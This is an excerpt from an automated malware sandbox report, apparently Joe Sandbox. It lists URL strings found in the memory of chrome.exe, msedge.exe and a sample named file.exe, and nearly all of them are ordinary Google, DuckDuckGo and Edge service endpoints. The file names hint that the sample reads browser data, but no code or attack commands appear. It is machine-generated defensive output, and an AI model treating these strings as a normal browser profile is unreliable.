Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2435642762.000040980078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372215856.000066C401A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2327215712.0000409800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000004.00000003.2326780945.0000409800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000004.00000002.2435802152.000066C40001C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2524987567.000005C00017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000004.00000002.2443500127.000066C400CB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g
Source: chrome.exe, 00000004.00000003.2323358616.000001E8002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2323374507.000001E8002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000004.00000002.2440010876.000066C400720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2439752266.000066C400674000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440064402.000066C400740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2435802152.000066C40001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330799124.000066C400504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2515580841.000005C000040000.00000004.00000800.00020000.00000000.sdmp, manifest.json.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000004.00000002.2441094870.000066C400978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000004.00000002.2441094870.000066C400978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bf
Source: chrome.exe, 00000004.00000002.2441094870.000066C400978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chromecache_458.6.dr	String found in binary or memory: https://clients6.google.com
Source: chrome.exe, 00000004.00000002.2439865814.000066C4006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chromecache_458.6.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2752337860.00000000233B3000.00000004.00000020.00020000.00000000.sdmp, EGCBFIEHIEGCAAAKKKKE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2752337860.00000000233B3000.00000004.00000020.00020000.00000000.sdmp, EGCBFIEHIEGCAAAKKKKE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000004.00000002.2445732717.000066C400E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1
Source: chrome.exe, 00000004.00000002.2445732717.000066C400E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1Cross-Origin-Opener-Policy:
Source: chrome.exe, 00000004.00000002.2445732717.000066C400E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1rj
Source: chrome.exe, 00000004.00000002.2445732717.000066C400E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/cdt1
Source: chrome.exe, 00000004.00000002.2442057846.000066C400AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000004.00000002.2436920801.000066C400324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: manifest.json.9.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437399567.000066C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443551282.000066C400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2439641285.000066C400660000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2439641285.000066C400660000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437399567.000066C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000004.00000002.2437693663.000066C400554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506633246.000066C401134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437399567.000066C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000004.00000002.2437693663.000066C400554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506633246.000066C401134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: file.exe, file.exe, 00000000.00000002.2732215385.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2756494293.000000006CCE1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2222130039.0000000004C5B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_458.6.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000004.00000002.2436920801.000066C400324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000004.00000002.2436920801.000066C400324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000004.00000002.2436920801.000066C400324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googlP2
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json.9.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000004.00000002.2437076517.000066C40039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000004.00000002.2443364514.000066C400C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441740091.000066C400A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000004.00000002.2441740091.000066C400A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000004.00000002.2440316994.000066C4007F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2575259570.000000002335E000.00000004.00000020.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: HubApps Icons.9.dr, 51dc45b6-e829-41f9-9814-2ad8c2d1a217.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: HubApps Icons.9.dr, 51dc45b6-e829-41f9-9814-2ad8c2d1a217.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.9.dr, 51dc45b6-e829-41f9-9814-2ad8c2d1a217.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.9.dr, 51dc45b6-e829-41f9-9814-2ad8c2d1a217.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: HubApps Icons.9.dr, 51dc45b6-e829-41f9-9814-2ad8c2d1a217.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chrome.exe, 00000004.00000003.2327215712.0000409800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/%h
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/(h
Source: chrome.exe, 00000004.00000003.2326780945.0000409800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2h
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/9h
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Bj
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Ij
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Lj
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Sj
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Vj
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2327215712.0000409800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gj
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/h
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/jj
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/qj
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/tj
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/~j
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2435642762.000040980078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372215856.000066C401A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2327215712.0000409800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000004.00000003.2326780945.0000409800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000004.00000003.2373807399.000066C401520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373774362.000066C40151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2373920302.000066C401530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/f
Source: chrome.exe, 00000004.00000003.2327215712.0000409800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000004.00000003.2327215712.0000409800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000004.00000003.2327215712.0000409800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000004.00000003.2327463790.00004098006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372284488.000066C401A6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372215856.000066C401A5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000004.00000003.2326780945.0000409800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2435782017.000066C40000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2526109748.000005C000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000004.00000002.2439752266.000066C400674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: EGCBFIEHIEGCAAAKKKKE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
